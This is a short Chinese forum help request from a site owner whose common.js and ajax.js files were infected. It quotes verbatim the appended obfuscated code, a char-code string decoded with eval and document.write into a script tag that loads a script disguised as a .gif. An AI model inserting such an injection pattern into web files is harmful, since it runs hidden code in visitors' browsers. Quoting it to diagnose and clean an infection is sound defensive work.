include目录下的js目录里面js文件近期被挂马 有代码

common.js 和ajax.js 2个文件都被挂马。
经过文件对比发现是在2个文件内容的最后面多出了如下代码：

1. c="100,111,99,117,109,101,110,116,46,119,114,105,116,101,108,110,40,34,60,115,99,114,105,112,116,32,115,114,99,61,92,47,115,112,97,99,101,92,47,116,101,109,112,108,97,116,101,115,92,47,100,101,102,97,117,108,116,92,47,105,109,97,103,101,115,92,47,103,108,111,98,97,108,95,99,111,109,109,101,110,116,46,103,105,102,62,60,92,47,115,99,114,105,112,116,62,34,41,59";
   
2. c=eval("String.fromCharCode("+c+")");
   
3. document.write("<script>"+c+"<\/script>");

复制代码

请问这是什么木马，要如何清除，是ss自身的漏洞还是网站服务器的问题(我用的万网虚拟主机)。

谢谢。